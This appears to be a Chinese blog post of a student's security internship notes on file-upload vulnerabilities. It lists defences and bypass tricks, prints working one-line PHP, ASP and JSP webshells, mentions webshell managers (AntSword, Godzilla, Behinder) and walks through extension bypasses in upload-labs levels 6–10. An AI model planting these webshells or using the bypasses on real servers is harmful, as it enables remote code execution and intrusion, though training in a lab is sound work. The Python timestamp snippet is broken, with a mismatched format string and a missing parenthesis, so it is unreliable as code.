集中实习第七天

一、文件上传防御手段及绕过手段总结

防御手段:

  1. 文件类型检查

    • 限制可上传的文件类型。
    • 检查文件的MIME类型。
    • 检查文件的内容而不是仅仅依赖文件扩展名。
  2. 文件大小限制

    • 限制上传文件的大小,以减少拒绝服务(DoS)攻击的风险。
  3. 文件名处理

    • 对上传的文件名进行重命名,避免使用用户提供的文件名。
    • 移除或处理文件名中的特殊字符。
  4. 存储安全

    • 将上传的文件存储在独立的服务器或隔离的文件系统中。
    • 设置适当的文件权限,避免执行权限。
  5. 验证和清理

    • 对上传的文件进行病毒扫描和内容验证。
    • 清理文件内容,移除可能的恶意代码。
  6. 使用安全的编程实践

    • 使用最新版本的编程语言和框架,并应用安全补丁。
    • 遵循安全编码标准。
  7. 二次验证

    • 对上传的文件进行二次验证,例如上传后通过电子邮件确认。
  8. 日志记录和监控

    • 记录所有上传活动,并定期检查日志文件。
    • 监控文件上传行为,以便及时发现异常。

绕过手段:

  1. MIME类型欺骗

    • 修改HTTP请求头部,伪装成允许的MIME类型。
  2. 文件扩展名变异

    • 尝试不同的文件扩展名,例如使用.php.(注意点号)来绕过某些过滤器。
  3. 文件内容编码

    • 对文件内容进行编码,例如Base64或十六进制编码,以绕过简单的文件内容检查。
  4. 服务器解析漏洞

    • 利用服务器配置错误或特定文件解析漏洞,例如IIS中的文件名检查不严。
  5. 目录遍历

    • 尝试上传包含目录遍历序列的文件名,将文件放置在Web根目录之外。
  6. 条件竞争

    • 在文件上传后、文件处理之前,尝试访问上传的文件,利用时间差执行代码。
  7. 服务器配置漏洞

    • 利用服务器配置不当,例如不正确的.htaccess文件设置。
  8. 利用文件包含功能

    • 如果服务器上有文件包含功能,攻击者可能通过上传恶意文件并包含它来执行代码。

二、文件上传常用一句话木马

PHP 一句话木马示例:

<?php @eval($_POST['cmd']); ?>
 

ASP 一句话木马示例:

<% Execute(Request("cmd")) %>
 

JSP 一句话木马示例:

<%Runtime.getRuntime().exec(request.getParameter("cmd"));%>

三、课中所讲的三种webshell管理工具的使用方法(演示使用该工具连接webshell及抓取流量包进行分析特征)

蚁剑

将一句话木马放在该目录下

测试链接

查看链接

bp抓包

哥斯拉

生成木马

保存成功

冰蝎

生成木马

移动到目标位置

新增shell

连接成功

四、文件上传无回显如何查找webshell地址

方法1:字典爆破

根据经验,文件上传后,文件有时会直接以文件名的形式放在在专属的upload目录中,通常是/upload/1.php,有时会加上当前日期,比如/upload/2024-01-01/1.php,或者其他不修改文件名但是存放到其他目录的形式。这个时候我们通常需要一个专属字典进行访问。

方法2:时间戳枚举

在渗透测试过程中,有些文件上传后,会以上传时间的时间戳为名称来进行重命名,我们需要根据时间戳来命名。通常我们会以响应包中的Date字段为参照时间戳进行枚举。

from datetime import datetime

#从字符串转换

date_str = "2024-09-01 12:00:00"
date_obj = datetime.strptime(date_str, "%Y-%m-%d %H-%M-%S"

也可通过在线的时间戳转换网站进行获取:https://www.beijing-time.org/shijianchuo/
 

五、upload-labs靶场通关第6-第10关

第六关

禁止上传这些后缀文件

将后缀改为PHp

上传成功

第七关

禁止上传这些后缀文件

尝试大小写,发现无法上传

添加空格

文件上传成功

第八关

查看源码,可以使用.进行绕过

在后缀加上.

上传成功

第九关

查看源码,没有去除::$DATA

在后缀加上::$DATA

上传成功

第十关

查看源码

在后缀加上. .

上传成功

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值